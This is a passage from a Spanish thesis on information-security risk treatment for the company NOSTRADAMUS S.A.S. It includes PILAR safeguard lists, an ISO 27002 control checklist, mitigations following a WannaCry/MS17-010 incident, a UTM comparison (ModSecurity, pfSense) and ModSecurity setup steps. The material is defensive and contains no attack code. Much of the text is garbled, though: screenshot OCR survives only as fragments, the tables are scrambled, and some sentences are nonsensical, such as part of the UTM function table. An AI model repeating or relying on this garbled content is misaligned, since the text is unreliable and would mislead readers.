[base] Base Fuentes de informacion
aspecto| tdp | recom. | [ dudas [ fuente | apiica | come... current N [PILAR)|
- SALVAGUARDAS
=] G el [NSENEE o T4 iGentificacion y autenticacion L2415
=] T EL 7 oM (.C] Control de acceso 16gico 214
O G PR 2 [ ;m Proteccion de la Informacion 1214
[m] G AD 4 o~ D.1] modo evaluacion L3
(=] G std 4 o-#% D.2) modo evaluacion L2113
=] G PR 6 oM L4
O G PR 5 o-#% 0.1 modo evaluacion L3
(|| G PR 6 o- 4 0 evaluacion L2-14
O G RC % oD backup] modo evaluacion L1314
O T EL 6 o1 [D.DS] modo evaluacion L2-L4
(=] G ™M 5 o- . [D.TS] modo evaluacion L2113
O G EL = eccion de claves criptograficas na.
] G PR ¢ - eccion de los Servicios 1214
O G PR 7 o oteccion de las Aplicaciones Informéticas (SW) L2-L4
O G PR 7 o oteccion de los Equipos Informaticos (HW) L2-L4
[} G PR RGN - roteccion de las Comunicaciones L2145
O G PR '] Sistema de proteccion de frontera logica n.a.
O G PR o F] Proteccion de los Soportes de Informacion na.
O G PR 6 o % [AUX] Elementos Auxiiares 1214
O F EL 6 l o~ ®F% (PPE] Proteccion fisica de los equipos L4
O F PR 6 o= *, IL] Proteccion de las Instalaciones L2-14
O F EL ©- 552 [PPS] Proteccion del perimetro fisico na.
O P PR 6 [l > (Ps] Gestion del Personal L1214
(] G PR o~ #1 [PDS] Servicios potencialmente peligrosos na.
=] G CR 60l >, (R Gestion ge incidentes L2-14
] T PR RS erramientas de seguridad L2115
O G CcR 6 3 [v] Gestion de vuinerabiidades L1214
O T MN 7 1214
O (3 RC 5 L3
=] G AD 5 213
m) G AD 7 L3-L4
=] G AD 5 213

1]+ wentes| operacion | sugiere pusea> | @ @|®
Fuente 28 Herramienta PILAR 7.2.3

[IA] Identificacion y autenticacion

» Las salvaguardas seleccionadas son las siguientes:
[IA.3.1] Cada usuario recibe un identificador exclusivo (no compartido).
[IA.4.2] Alta, activacién, modificacion y baja de las cuentas de usuario.

[IA.4.2.5.1] Las cuentas que ya no son necesarias se eliminan o se bloquean.

YV V V V

[IA. 4.a] Las cuentas se suspenden al ser comprometidas o existir sospecha de
ello.

> [IA.5.2] Hay cuentas especificas para administradores de seguridad.

Son aplicables a la siguiente clase de activos:

[S] Servicios: Correo corporativo, navegacion a Internet.

[SW] Aplicaciones: Desarrollos propios, Sistemas Operativos.

[P] Personal: Usuarios internos, usuarios externos, operadores y administradores del

sistema.
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[AC] Control de acceso logico

Aplicables a las siguientes clases de activos:

[S] Servicios: Correo corporativo, navegacion a internet

[D] Datos / Informacion: Ficheros de datos, copias de respaldo, datos de gestidn interna,
gestion de contrasenas, registro de actividad (log), audios generados en reuniones,
asambleas y otro tipo de encuentros, codigo fuente y codigo de ejecutables de todos los
desarrollos propios.

[SW] Aplicaciones: Desarrollos propios, Servidores de aplicaciones, como Internet
Information Services IIS.

[P] Personal: Usuarios internos, usuarios externos, operadores y administradores del

sistema.

[D] Proteccién de la Informacion

Aplicables a las siguientes clases de activos:

[D] Datos / Informacion: Ficheros de datos, copias de respaldo, datos de gestidn interna,
gestion de contrasenas, registro de actividad (log), audios generados en reuniones,
asambleas y otro tipo de encuentros, cddigo fuente y codigo de ejecutables de todos los

desarrollos propios.

[S] Proteccidon de los Servicios

Aplicables a las siguientes clases de activos:

[S] Servicios: Correo corporativo, navegacion a Internet

[3rd] Servicios Contratados a Terceros: G-Suite Empresarial Google apps, Proveedores

de internet, Goodaddy.com.

[SW] Proteccién de las Aplicaciones Informéticas (SW)

Aplicables a las siguientes clases de activos:
[SW] Aplicaciones: Desarrollos propios, navegadores, Sistemas Operativos.
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[IR] Gestion de incidentes

Es Aplicable para todos los activos.

[tools] Herramientas de seguridad

Es aplicable para todos los activos.

[V] Gestidn de vulnerabilidades

Aplicables a las siguientes clases de activos:

[S] Servicios: Correo corporativo, navegacion a internet

[SW] Aplicaciones: Desarrollos propios, Sistemas Operativos, y antivirus.

[A] Registro y auditoria

Es aplicable para todos los activos.

[BC] Continuidad del negocio

Es aplicable para todos los activos.

[G] Organizacion

Es aplicable para todos los activos.

[E] Relaciones Externas

Es aplicable para todos los activos.

[NEW] Adquisicion / desarrollo

Es aplicable para todos los activos.
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Sistema de Control de Interno Informatico

Tabla 5 Anexo a ISO 27002

Dominio Objetivo Control JHpL EMIER S &
y/o No
5 1. Politica de 5.1.1. Documento de politica de No
05. Politicade | =~ " . seguridad de la informacion
Seguridad segundad fj,e la 5.1.2. Revision de la politica de No
informacion . . ot
seguridad de la informacion
6.1.1. Comité de gestidn de seguridad No
de la informacion
6.1.2. Coordinacién de seguridad de No
la informacién
6.1.3. Asignacion de No
responsabilidades para la seguridad
6.1. Estructura | d€ la informacion
para la 6.1.4. Proceso de autorizacion de No
seguridad de la | recursos para el tratamiento de la
06 . informacion informacion
Organizacion 6.1.5. Acuerdos de confidencialidad No
de_ la 6.1.6. Contacto con las autoridades No
Seguridad de ——
Informacion 6.1.7. Contacto con organizaciones No
de especial interés
6.1.8. Revision independiente de la No
seguridad de la informacion
6.2.1. Identificacion de los riesgos No
derivados del acceso de terceros
6.2 Terceros 6.2.2. Tratamiento de la seguridad en No
e la relacidn con los clientes
6.2.3. Tratamiento de la seguridad en No
contratos con terceros
71. 7.1.1. Inventario de activos. No
Responsabilida | 7.1.2. Responsable de los activos. No
. dsobrelos |7.1.3. Acuerdos sobre el uso
0 d7e' Sft?\tf: activos. aceptable de los activos. No
7.2. 7.2.1. Directrices de clasificacion. No
Clasificacion de | 7.2.2. Marcado y tratamiento de la No
la informacién | informacion.
08. Seguridad | 8.1. Seguridad|8.1.1. Inclusién de la seguridad en las No
ligada alos |en la definicion | responsabilidades laborales.
Recursos del trabajoy los |8.1.2. Seleccion y politica de No
Humanos recursos. personal.
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8.1.3. Términos y condiciones de la No
relacion laboral.
8.2. Seguridad |8.2.1. Supervision de las No
en el obligaciones.
desempefio de | 8.2.2. Formacion y capacitacion en No
las funciones |seguridad de la informacion.
del empleo. |8.2.3. Procedimiento disciplinario. No
8.3. Finalizacio | 8.3.1. Cese de responsabilidades. No
n o cambio del | 8.3.2. Restitucién de activos. No
puesto de 8.3.3. Cancelacion de permisos de No
trabajo. acceso.
9.1.1. Perimetro de seguridad fisica. Si
9.1.2. Controles fisicos de entrada. No
9.1.3. Seguridad de oficinas, No
9.1 Areas despachos y r.e’cursos.
seguras. 9.1.4. Proteccion contra amenazas No
externas y del entorno.
9.1.5. El trabajo en areas seguras. No
9.1.6. Areas aisladas de carga y No
09. Seguridad descarga.
Fisica y del 9.2.1. Instalacion y proteccion de
Entorno equipos. No
9.2.2. Suministro eléctrico. Si
9.2.3. Seguridad del cableado. Si
9.2. Seguridad |9.2.4. Mantenimiento de equipos. No
de los equipos. | 9.2.5. Seguridad de equipos fuera de No
los locales de la Organizacion.
9.2.6. Seguridad en la reutilizacién o No
eliminacion de equipos.
9.2.7. Traslado de activos. No
10.1.1. Documentacioén de No
19'1; procedimientos operativos.
Procedimientos 10.1.2. Control de cambios No
. y operacionales.
10. Gestion | responsabilidad 435 Segregacion de tareas. No
de ©s d.e, 10.1.4. Separacion de los recursos No
Comunicacion operacion. para desarrollo y produccion.
esy " —
Operaciones 10.2. 10.2.1. Prestacioén de servicios. No
Supervision de | 10.2.2. Monitorizacidén y revision de No
los servicios | los servicios contratados.
contratados a | 10.2.3. Gestion de los cambios en los No
terceros. servicios contratados.
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10.3. 10.3.1. Planificacion de capacidades. No
Planificacion y No
aceptacion del | 10.3.2. Aceptacion del sistema.

sistema.
10.4. 10.4.1. Medidas y controles contra Si
Proteccion software malicioso.
corr:]t;ﬁcsiggtgvsre 1042 M’ed_idas y controles contra Si
codigo movil. | €0digo movil.
10.5. Gestion Si
interna de 10.5.1. Recuperacion de la
soportes y informacion.
recuperacion.
10.6. Gestion 1822 ggngﬁézsdd:nrfodé servicios de 2:
de redes. red.. et
10.7.1. Gestion de  soportes No
extraibles.
10.7. Utl_llzaC|on 10.7.2. Eliminacion de soportes. No
y seguridad de 10.7.3. Procedimientos de utilizacion No
Ioi?]fsoc;ﬁqoaré?gnde de'la. iﬁformacién.
©110.7.4. Seguridad de la No
documentacion de sistemas.
10.8.1. Politicas y procedimientos de No
intercambio  de informacion y
10.8. software.
Intercambio de | 10.8.2. Acuerdos de intercambio. No
informacion y | 10.8.3. Soportes fisicos en transito. No
software. 10.8.4. Mensajeria electronica No
10.8.5. Sistemas de informacién No
empresariales.
10.9.1. Seguridad en comercio No
.. electronico.

10.9. Serwc:!os 10.9.2. Seguridad en transacciones No

de comercio | o, jinea.
electronico. 10.9.3. Seguridad en informacion No

publica.
10.10.1. Registro de incidencias. No

10.10. 1Q.10.2. Seguimiento del uso de los No
Monitorizacion Sistemas. — -

10.10.3. Proteccién de los registros No

de incidencias.
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10.10.4. Diarios de operacién del No
administrador y operador.
10.10.5. Registro de fallos. No
10.10.6. Sincronizacién de reloj. No
11.1. No
Requisitos de
negocio para el | 11.1.1. Politica de control de accesos.
control de
accesos.
11.2.1. Registro de usuario. No
11.2. Gestion 11.2.2. Gesti.(?n de privilegios:‘. No
de acceso de 11.2.3. Gestion de contrasenas de .
usuario. usuario. Si
11.2.4. Revision de los derechos de
acceso de los usuarios. No
11.3.1. Uso de contrasefa. Si
11.3. 11.3.2. Equipo informatico de usuario
Responsabilida | desatendido. No
des del usuario. | 11.3.3. Politicas para escritorios y
monitores sin informacion. No
11.4.1. Politica de uso de los
servicios de red. No
11. Control de 1142, Autenticacion d .
ACCESOS .4.2. Autenticacion de usuario para No
conexiones externas.
11.4.3. Autenticacion de nodos de la No
11.4. Control |red.
de accesoen |11.4.4. Proteccion a puertos de No
red. diagndstico remoto.
11.4.5. Segregacion en las redes. No
11.4.6. Control de conexion a las No
redes.
11.4.7. Control de encaminamiento No
en la red.
11.5.1. Procedimientos de conexién No
de terminales.
11.5. Control | 11.5.2. Identificacién y autenticacion No
de acceso al |de usuario.
sistema 11.5.3. Sistema de gestion de No
operativo. contrasenas.
11.5.4. Uso de los servicios del No
sistema.
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11.5.5. Desconexion automatica de No
terminales.
11.5.6. Limitaciéon del tiempo de No
conexion.
11.6.1. Restriccion de acceso a la No
d11.6. Control informacion.
€accesoa las 11.6.2. Aislamiento de sistemas No
aplicaciones. ;
sensibles.
11.7. 11.7.1. Informatica moévil. No
Informatica No
movil y 11.7.2. Teletrabajo.
teletrabajo.
12.1. No
Requisitos de | 12.1.1. Analisis y especificacion de
seguridad de |los requisitos de seguridad.
los sistemas.
12.2.1. Validaciéon de los datos de No
12.2. Seguridad | €ntrada.
de las 12.2.2. Control del proceso interno. No
aplicaciones | 12.2.3. Autenticacion de mensajes. No
del sistema. |12.2.4. Validacion de los datos de No
salida.
12.3.1. Politica de uso de los No
12.3. Controles | ., roles criptograficos.

12 criptograficos. 145 35 “Cifrado. No
Adquisicion, 12.4.1. Control del software en No
Desarrollo y . explotacion.

Mantenimient 1(126'%?(;%2?0&]: 12.4.2. Prote_cci()n de los datos de No
o de Sistemas del sistema prueba del sistema.

de ' 12.4.3. Control de acceso a la libreria No

Informacién de programas fuente.
12.5.1. Procedimientos de control de No
cambios.
12.5.2. Revision técnica de los No
12.5. Seguridad | cambios en el sistema operativo.
en los procesos| 12.5.3. Restricciones en los cambios No
de desarrollo y |a los paquetes de software.
soporte. 12.5.4. Canales encubiertos y cédigo No
Troyano.
12.5.5. Desarrollo externalizado del No
software.
12.6. Gestion | 12.6.1. Control de las No
de las vulnerabilidades técnicas.
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vulnerabilidade

s técnicas.
13.1. 13.1.1. Comunicacion de eventos en No
Comunicacion | seguridad.
de eventos y No

13. Gestion | debilidades en | 13.1.2. Comunicacién de debilidades

de Incidentes | |2 seguridad de | en seguridad.

de Seguridad | la informacion.

de la 13.2. Gestion | 13.2.1. Identificacion de No
Informacién | de incidentes y | responsabilidades y procedimientos.
mejoras en la | 13.2.2. Evaluacion de incidentes en No
seguridad de la | seguridad.
informacion. | 13.2.3. Recogida de pruebas. Si
14.1.1. Proceso de la gestién de No
continuidad del negocio.
14.1.2. Continuidad del negocio y No
., analisis de impactos.
14. Gestion | 14.1. Aspgctos 14.1.3. Redaccién e implantacion de No
Qe . de I"’? ge_st|on de planes de continuidad.

Continuidad | continuidad del P

del Negocio negocio. 14.1_.4. _Marco de planl_flcacmn para la No
continuidad del negocio.

14.1.5. Prueba, mantenimiento y No
reevaluacion de planes de
continuidad.
15.1.1. Identificacién de la legislacion No
aplicable.
15.1.2. Derechos de propiedad No
intelectual (IPR).
15.1 15.1.3. Salvaguarda de los registros No
Conf : .'d q de la Organizacion.
o(r:loc;rrllglsa 15.1'.4. Proteccion de_ c_Iat_os de No
requisitos caracter personal y de la intimidad de
15. legales las personas.

Conformidad ' 15.1.5. Evitar mal uso de los No
dispositivos de tratamiento de la
informacion.

15.1.6. Reglamentacion de los No
controles de cifrados.
15.2. 15.2.1. Conformidad con la politica de No
Revisiones de |seguridad.
la politicade |15.2.2. Comprobacion de |la No
seguridad y de | conformidad técnica.
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la conformidad
técnica.
15.3. No
Consideracione
s sobre la 15.3.1. Controles de auditoria de
auditoria de | sistemas.
sistemas.
Fuente 29 Norma ISO27001 Anexo A
Tabla 6 Tratamiento del Riesgo
Seccién | Objetivo | Control | Estado | Justificacion
A.5 Politica de Seguridad
La empresa NOSTRADAMUS
SAS debe encargarse de
5.1.1  Documento elaborar el un manual con la
de politica de Aplicar politica de seguridad de la
seguridad de Ia informacion que sea acorde con
informacion los requisitos de la
. organizacion, las leyes
A5 golltlc%sd g dle no%mas relevantes.y Y
o in(fecg)lrun:asién € d Esta politica de seguridad debe
ser revisada periodicamente y
5.1.2 Revisién de la establecer los tiempos de
politica para la Aplicar revision y divulgacion a los
seguridad de |la empleados con el objetivo que
informacién sea idonea y e pueda adecuar
de acuerdo con el crecimiento
de la empresa.
A.6 Organizacion de la seguridad de la Informacién
La gerencia de la empresa
NOSTRADMUS SAS debe
. respaldar la politica adoptada
2;31 .I; D(i:rgrcncl?gr)]mclgg . en seguridad de la informacion,
la seguridad de la Aplicar enelquese (l:lemuest.ra el apoyo
Organizacion de | informacion y compromiso, z_asugnando y
A6.1 la Seguridad de la aprobando' ' explicitamente las
. o responsabilidades dentro de la
informacion Organizacion.
6.1.3 Asignacion de Se deben definir de forrr)z.a clara
résbonsabilidades . todas las responsabllldades
en seguridad de la Aplicar para Ia” seggrldad de Ia
informacion informacion, teniendo en cuenta
el manual de procesos vy
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procedimientos de la empresa
NOSTRADAMUS SAS, o los
contratos de cada empleado,
donde se mencionan las
actividades a realizar y el
tiempo de ejecucion.

6.1.5 Acuerdos de
confidencialidad

Aplicar

Se debe identificar y realizar
una revision de los acuerdos
anexos a los contratos, cuales
son los requisitos de
confidencialidad y no
divulgacion que se deben
contemplar de acuerdo y las
necesidades de proteccién de la
informacion en la compaiia.

A.7 Gestién de

Activos

A7A1

Responsabilidad
sobre los activos

7.1.1 Inventario de
Activos

Aplicar

mantener un
inventario de activos de
informacion indicando el
propietario o el responsable de
proteger los activos, mostrando
detalles relevantes como
ubicacion, serial, modelo,
marca, estado, etc., para
conocer el estado real de los
activos e implementar una
estrategia de mitigacion de
riesgos de seguridad de la

informacion dependiendo el
caso.

Elaborar vy

7.1.2 Propiedad de
los activos

Aplicar

Exigido UNE/ISO-IEC

27001

por

713 Utilizacién
aceptable de los
activos

Aplicar

La empresa NOSTRDAMUS
SAS necesita identificar,
establecer e implementar las
normas que regulan el uso
adecuado y permitido de la
informacion y de los activos de
la compania, considerando
sanciones 0 causales de

despido por el indebido uso de
los recursos de la organizacion.

A.9 Seguridad Fisica

y del Entor

no

A.9.1

Areas Seguras

9.1.1 Perimetro de
la Seguridad Fisica

Aplicar

Se debe definir un perimetro de
seguridad resguardado por
controles de entrada
adecuados, que garanticen la
proteccion de los servicios de
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procesamiento de la
informacion contra los accesos
no autorizados, dafos e

interferencias.
Verificacion de la entrada y
salida de las personas que

ingresan a las oficinas de la

empresa NOSTRADAMUS
SAS, ya bien seaN visitantes,
912 Controles _ clientes 0 . empleados,
fisicos de entrada Aplicar generaqdo informes . de
inspecciones de  seguridad
fisica de la organizacion,
asegurandose que el ingreso de
las personas a las oficinas y/o
lugares sea el permitido y/o
autorizado
Deben situarse en lugares
seguros y protegidos contra
incidentes y accidentes
9.2.1 potenciales, lejos de ventanas y
Emplazamiento vy Apli la caida de objetos pesados,
y plicar . . )
proteccion de con el fin de reducir los riesgos
A9.2 Seguridad de los | equipos y la materializacion de las
e Equipos amenazas en el entorno y las
oportunidades de acceso no
autorizado.
9.2.2 Servicios de Aplicado Se cuenta con servicios de
soporte soporte
9.2.3 Seguridad del Cumple con los requerimientos
cableado Aplicado | establecidos para la seguridad
9.24 Se debe implementar un
Mantenimientos de | Aplicar cronograma para el
los equipos mantenimiento de los equipos.
A.10 Gestion de las comunicaciones y Operaciones
Proteccion frente | 10.4.1 Controles \?Vef cuenta con el antivirus
A.10.4 a codigo malicioso | contra codigo | Aplicado |n'dows Defgn.der y los
g g p
. - . equipos con los ultimos patch de
y codigo movil malicioso actualizaciones.
: Es necesario para evitar
atos | goPs - del oo 1Respaldode | \picado | perdidas de informacion vital
9 para la compaiiia
Se tiene implementado
Gestion de la procedimientos de seguridad
A.10.6 seguridad de la 10.6.1 Controles de Aplicado | para redes y herramientas de

red

red

red como un DMZ (Zona
Desmilitarizada) y un firewall
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con las respectivas politicas
para la seguridad perimetral.

Fuente 30 El autor

7.3 DESARROLLO OBJETIVO ESPECIFICO 3

Como resultado de las pruebas de ethical hacking realizadas anteriormente se establecen
las siguientes estrategias que permitiran mitigar de manera significativa los riesgos que
pueden llegar a materializarse en el futuro, teniendo en cuenta los incidentes presentados
en la empresa NOSTRADAMUS S.A.S

7.3.1 Actualizacion de los navegadores de internet

Teniendo en cuenta uno de los ataques presentados en la empresa NOSTRADAMUS
S.A.S, fue originario por medio de los navegadores de internet en los equipos de sistema
operativo Windows 7, se hace necesario que se mantengan actualizados los respectivos
navegadores, ya que se identifico que la empresa no cuenta con un adecuado programa
de actualizaciones y no es muy frecuente que se realice este tipo de actividades, al tener
navegadores de internet desactualizados se es mas vulnerable a sufrir algun tipo de
ataque, en este caso la empresa fue victima de un ataque de ingenieria social el cual

permitio el acceso a los delincuentes informaticos.

7.3.2 Actualizacion del sistema operativo

No solo es importante que se realicen las actualizaciones de seguridad en los
navegadores, sino que es de suma importancia que se realice las actualizaciones de los
sistema operativos en los equipos de coOmputo de la empresa Nostradamus s.a.s, para el
caso de estudio la organizacién fue victima porque sus sistemas no contaban con los
parches de seguridad necesarios, lo que permitio a los ciberdelincuentes que ejecutaran

un ranmsonware de tipo WannaCry en los equipos con sistema operativo Windows 7 por
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presentar una vulnerabilidad MS17-010 8en la instalacion del acceso remoto, lo que les
facilito el acceso a la informacion y posterior incidente de fuga de informacion por medio

de una elevacién de privilegios.

7.3.3 Instalacion de antivirus y configuracién de Firewall

Como puntos clave para contar con un robustecimiento de la seguridad de la informacién
en cualquier organizacion es necesario tener instalado un buen antivirus que impida en
gran medida cualquier incidente de seguridad, es claro que esta configuracion no es
100% infalible ante cualquier eventualidad, pero si dificulta que se afecten los activos, ya
sea por un analisis de heuristica, vigilancia permanente o CRC, si se mitiga que se
proliferen archivos con contenidos maliciosos, igualmente la configuracidon de las reglas
del firewall es vital para establecer los permisos del trafico de entrada y salida de

comunicacion.

7.4 DESARROLLO OBJETIVO ESPECIFICO 4
7.4.1 PROPUESTA DE ASEGURAMIENTO

7411 IMPLEMENTACION DE UTM

UTM (Unified Threat Management) gestion unificada de amenazas esto se refiere a una
solucion de seguridad que por lo general ofrece muchas funciones de proteccién
incluyendo antivirus, antispyware, antispam, prevencion y deteccion de intrusos, filtrados

de contenidos, entre otras.

58 Explotando Vulnerabilidad MS17-010 o WannaCry», Juan Oliva (blog), [En linea] 1 de junio de 2017,
[Consultado] agosto 2021 Disponible en
https://jroliva.net/2017/06/01/explotando-vulnerabilidad-wannacry-o-ms17-010/.
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El UTM es importante ya que al contener varias funcionalidades de seguridad permite
gue su administracion sea mucho mas facil ya que se encuentra todo en una sola consola,

se evita la comunicacion con diferentes proveedores.

Uno de los problemas que puede traer el instalar el UTM es que, al ser el unico dispositivo,
también constituye como el unico dispositivo de falla también se puede presentar que la
herramienta no posea todas las caracteristicas que puede tener un dispositivo individual,
puede presentar problemas de rendimiento al momento de realizar actualizaciones de
todas las aplicaciones, Y que no todas las plataformas soportan todos los tipos de
aplicaciones requeridas. Una UTM permite el equilibrio de cargas, proteccion,
actualizaciones, identificar y controlar usuarios en la red, gestionar politicas, controlar
amenazas en tiempo real, auditorias y controles de fugas de datos, creacion de DMZ,

protege contra malware y spyware.

7.5 Funciones UTM
Tabla 7 Funciones del UTM

Funcién Abreviatura Descripcion

Firewall FW Permite tener controles vy filtros en el flujo
del trafico proveyendo una barrera de
proteccion en la Red interna desde una
Red insegura

IPS IPS su funcion es monitorear toda la
actividad de la Red observando
contenidos maliciosos, realiza hacer
firmas estadisticas inspecciona
anomalias en protocolos, archivos de
descarga, de analisis entre otros, si hay

un paquete sospechoso muy alto es
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Control de aplicaciones

Protocolo de hipertexto

Proxy antivirus

Unified threat

management

Fuente 31. El autor

AppCtrl

Http/Proxy/AV

UTM
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detectado y ellos pueden identificar
reportar y dependiendo la clase de
configuracion del IPS puede realizar
acciones para detener el contenido
malicioso

politicas de seguridad y recursos de la
Red en los servidores, ancho de banda,
restringe el control con el trafico de
aplicaciones que pueden pasar a través
del UTM usualmente en otras
direcciones la aplicacién puede intentar
reducir ocurrencia de infeccion en
contenidos de ataques maliciosos

La seguridad en un dispositivo desde
Proxy controlando el trafico HTTP es
donde el cliente realiza sus peticiones
Get, La funcionalidad de inspeccién de
tipo cliente servidor escanea y realiza un
handshake de transferencia de datos
Contiene  multiples funciones de
rendimiento del mismo modo del
expositivo de seguridad zinc las 11 en el
cine basicamente incluyen favor y PS a
B VPN control filtrado de contenido y

prevencion de pérdida de datos



En el ambiente controlado se selecciona la instalacion de modsecurity para configurar las
reglas y proteger la aplicacion de la empresa SAS modsecurity permite controlar los
accesos de la aplicacion web y su ventaja principal es que opera sobre las capas de
aplicacion de modelo OSI, por ello constituye una proteccién mas alla de los dispositivos

tradicionales.

Tabla 8 Cuadro comparativo UTM.

Modsecurity Caracteristicas
caracteristicas Las caracteristicas de este UTM son las siguientes:

e Filtrado de las peticiones: Que permite que
aquellas peticiones entrantes sean analizadas
antes de que lleguen al servidor o cualquier

modelo de nuestro servidor apache

e Técnicas anti-evasion: Permite que los Path y los
parametros sean normalizados antes de que se
ejecute el analisis esto con el fin de evitar las

técnicas que se pueden presentar de evasion

e Comprende los protocolos HTTP: Con esta
funcionalidad se pueden realizar filtrados

especificos y de forma granular

e Registros de auditoria: Es posible encontrar el
detalle incluso de las peticiones post para

analisis posteriores

e Filtrado HTTPs: Esta funcionalidad estan
inmersa en el modelo y permite tener acceso a

los datos una vez los datos sean descifrados
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Ventajas e Una de las ventajas que tiene este UTM es que

proteger las aplicaciones complejas donde el
cbédigo fuente pudo ser modificado y que sea

dificil securizarlas

Es Open Source y de acceso libre

Permitete de una curva de aprendizaje muy
rapida

Es muy eficiente con sus funcionalidades

Tiene facil configuracion

Permite evitar un mayor numero de ataques con

unas pocas lineas de configuracion

Es de tipo portable y puede funcionar en casi
todos los sistemas operativos del mercado

Desventajas e Se han presentado perdidas en el servicio

cuando se cae el Proxy, en este caso se
modificar el NAT, para que las peticiones de
internet se vayan directamente a los servidores y
no se pierda en la configuracion del servicio
Balanceo: No permite tener un unico punto de
fallos por lo general Center al menos dos Proxy
para repartir las peticiones

Falsos positivos: En este caso hay que revisar
todas las funcionalidades del servicio web que
continué funcionando correctamente en

particular en casos de envio de ficheros envio de
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PFsense Caracteristicas

Ventajas

correos formularios hay ocasiones en que dejan
de funcionar y se consideran falsos positivos

o Estas caracteristicas es que cuenta con una tabla
esta en la que se configura en todas las reglas y
se ve el estado que estan disponibles las

configuraciones

e Balanceo: Cuenta con equilibrio carga en el
servidor para disminuir el trabajo entre varios

servidores
e NAT: Cuentas con reenvio de puertos

e Muestra informes historicos de los servicios
utilizados

¢ Realiza monitoreo en tiempo real

e Y se pueden instalar paquetes de seguridad
monitoreo redes servicios y enrutamiento
simplemente con hacer clic en la instalacién de

paquetes
e es opensource Yy tiene licencia FreeBSD

e Es practico porque puede ser usado desde una
uUSB

e Tiene funcionalidades como firewall, NAt,
balanceo de cargas VPN, servidor dns, servidor
DHCP y cuenta con generacidén de Backus facil y

rapido
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Desventajas e Al ser un desarrollo reciente no tiene buena
documentacion no se encuentra amplios

conocimientos de configuracion ni tutoriales
¢ Le mande alta disponibilidad en su configuracion

e Se encontrd un fallo de seguridad con Meltdown
y spectre los cuales fueron mitigados a nivel del

kernel

e Fallos en Xss ese ese Cross site scripting en la
interfaz web del sistema operativo en la consola
administraciéon los cuales también fueron

solucionadas en la versiéon 2.4.3.

Fuente 32. El autor

Generalmente los resultados van acompanados con las soluciones y recomendaciones
gue proporciona el analista con respecto a las pruebas de seguridad realizadas estos
resultados por lo general contienen un informe del estado actual y de los procesos la cual
contiene la siguiente informacion:

. Fecha y hora de la prueba

. Duracién de la prueba

. Nombres de analistas responsables

. Tipo de prueba

. Alcance de la prueba

. Indice (método de enumeracion de objetivos)

. Canal probado

. Vector de prueba

© 00 N o o A W N =

. Métrica de superficie de ataque
10. Qué pruebas se han completado, no completado o completado parcialmente, y en
qué medida

11. Cualquier problema relacionado con la prueba y la validez de los resultados.
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12. Cualquier proceso que influya en las limitaciones de seguridad.

13. Cualquier incognita o anomalia %9

7.6 Instalacion de Modsecurity

Con el fin de realizar la instalacion de UTM se realizara la prueba con un servidor Ubuntu
server en el que se realizara la instalacion de modsecurity y con esta forma realizar un

seguimiento al trafico de la red.

En esta ventana vemos el comando de instalacion de modsecurity que es el UTM

seleccionado para esta actividad.

Se realiza la instalacidn desde Linux con el comando install libapache2-modsecurity

Figura 25 instalacion de ModSecurity en ubuntu

@ ® Ubuntu Server WEB [Running]
he2-mo urity

Fuente 33 El autor

La accion anterior empezara con la instalacion de los paquetes de modsecurity

59 OSSTMM [En linea]. Marzo 2010 [Fecha de Consulta: octubre 2020] Disponible en
https://www.isecom.org/OSSTMM.3.pdf pag 50
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Figura 26 instalacion de paquetes

Ubuntu Server WEB [Running]
ibapache2-mod-security

Fuente 34 El autor

Una vez instalado debemos ir a la ruta de configuracién del archivo y modificar las
siguientes lineas en esta parte lo que se realiza es la configuracidén de las reglas que se

definiran con el finde controlar el trafico entrante y saliente de la red.

Figura 27 configuracion de reglas de Off

=] -] Ubuntu Server WEB [Running]

Fuente 35 El autor
Se debe cambiar las reglas del estado on al estado off

Figura 28 configuracion de reglas on

If you dor
i ns

hich o

Fuente 36 El autor

Antes de realizar cualquier modificacion es importante copiar el archivo
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Figura 29 Archivo de configuracién modsecurity.conf

@ & Ubuntu Server WEB [Running]
~ity# cp mo
curity#® _

Fuente 37 El autor

Para realizar esta modificacion es importante que se realice una copia del archivo de

configuracion

Figura 30 Copia del archivo de configuracion

Ubuntu Server WEB [Running]

installation

e of xml content-type

ntent-Type

BoES W G0 et

Fuente 38 El autor

Una vez configuradas las reglas se debe reiniciar el servicio de apache
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Figura 31 Reinicio servicio apache

L.:.‘. NaotSralar Matowsw il Rittrow
® @ Ubuntu Server WEB [Running]

Fuente 39 El autor

Ingresar las contrasefas para completar

Figura 32 Ingreso de credenciales

yenni@yenni:~% yenni@yenni:™$

Fuente 40 el autor
Para realizar la respectiva configuracion de las reglas de modSecurity
Figura 33 configuracién de reglas

@ @ Ubuntu Server WEB [Running]

achectl -M | grep -- color

Fuente 41 El autor

Figura 34 Reglas en estado detectivo

secRuleEngine Detec_

Fuente 42 El autor
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Figura 35 Estado On de las reglas

(=) (=) Ubuntu Server WEB [Running]

Use detection

that minimi the chances of post-installation

secRuleEngine On_

Fuente 43 El autor
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10.
11.

8 CONCLUSIONES

Ejecutar el plan de actividades usando técnicas de hacking ético, para el hallazgo de
vulnerabilidades.

Presentar un reporte de resultados de vulnerabilidades encontradas, haciendo
algunas recomendaciones que minimicen las vulnerabilidades.

Realizar el analisis de la propuesta de seguridad para la empresa.

Definir los lineamientos de la propuesta de aseguramiento.

El uso de herramientas de pentesting permiten que se realicen pruebas en ambientes
controlados y de esta forma simular los ataques efectuados en la empresa
NOSTRADAMUS S.A.S, donde se pudo establecer cuales fueron las vulnerabilidades
presentes en la infraestructura y aplicaciones de la organizacién y de los servicios

que se exponen en internet.

Al realizar el ethical hacking en la empresa NOSTRADAMUS S.A.S se pudo
identificar el vector de entrada del atacante con el fin de mitigar estas vulnerabilidades
y tomar medidas de aseguramiento, monitoreo y privilegios en todos los sistemas de

la empresa.

Con la identificacidn de las vulnerabilidades, riesgos y amenazas de los activos de la
organizacion permite evidenciar los agentes externos e internos que ponen en riesgo
la confidencialidad, integridad y disponibilidad de la informaciéon de empresa
NOSTRADAMUS S.A.S

Se definen los respectivos controles de seguridad para la empresa NOSTRADAMUS

S.A.S con el fin de mitigar las vulnerabilidades presentes y establecer buenas practicas

y parametros de seguridad que resguardaran los activos de la organizacién
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De realiza la propuesta de seguridad, que corresponde a la instalacién y configuracién
de MODSecurity con las respectivas especificaciones para ser implementado en la
empresa el cual ofrece las funcionalidades de antivirus, prevencion y deteccion de

intrusos, filtrado de contenido entre otras.
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9 RECOMENDACIONES

Recomendaciones finales para la empresa esta el NOSTRADAMUS S.A.S se realizan las

siguientes:

Realizar frecuentemente evaluaciones de seguridad en los activos, con énfasis en
el seguimiento de los controles que se hayan establecido de forma interna y

externa

Teniendo en cuenta que cada dia aumentan las amenazas y se identifican nuevas
